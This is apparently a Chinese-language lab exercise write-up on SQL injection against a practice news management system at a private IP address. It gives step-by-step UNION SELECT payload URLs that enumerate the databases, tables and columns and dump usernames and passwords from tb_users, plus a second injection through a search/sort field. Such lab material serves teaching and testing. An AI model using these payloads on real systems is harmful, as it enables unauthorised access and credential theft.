练习9
Abstract: 对新闻管理系统进行 SQL 注入
Table of Contents
UNION SELECT 注入
判断类型
首先进入到一个电影介绍页面,网址上有 id
可能存在 SQL 注入
先在 把id=3
改成 id=3-1
发现内容改变了,故可得为整型,若为字符型则内容不变。
判断字段数
因为整型注入故直接在后面加上order by
即可,发现字段数为 3
然后先用
1 | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,2,3 |
判断各字段输出的位置,然后再正式开始 SQL 注入
SQL 注入
查看数据库名
1 | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT group_concat(SCHEMA_NAME) FROM INFORMATION_SCHEMA.SCHEMATA),3 |
可以看书我们所需要查看的表名是 mynews
查看 mynews
库中的表名
1 | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),3 |
查看 tb_users
表中的列名
1 | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='tb_users',3 |
查看 username
和 password
字段的数据
1 | http://192.168.100.166/display.php?id=-1 UNION SELECT 1,(SELECT GROUP_CONCAT(username, '-', password) FROM `db_mynews`.`tb_users`),3 |
排序功能注入
分析:
1 | SELECT * FROM news WHERE title like '%1%' or content like '%1%' or author like '%1%' order by '%1%' |
首先要判断查询时,哪个字段在前面,否则会影响后面注入过程。
排序界面有三列,分别为标题,内容和作者。所以我们要从这三个方向入手。经过简单的试错,我们可以判断出来标题在最前面。
然后再搜索框输入 好%' ORDER BY 3
显示正常,然后再修改为 好%' UNION SELECT 1,2,3#
把第二个位置换成 user()
然后就可以继续进行其他信息的查询了,和前面一样,这里不再重复。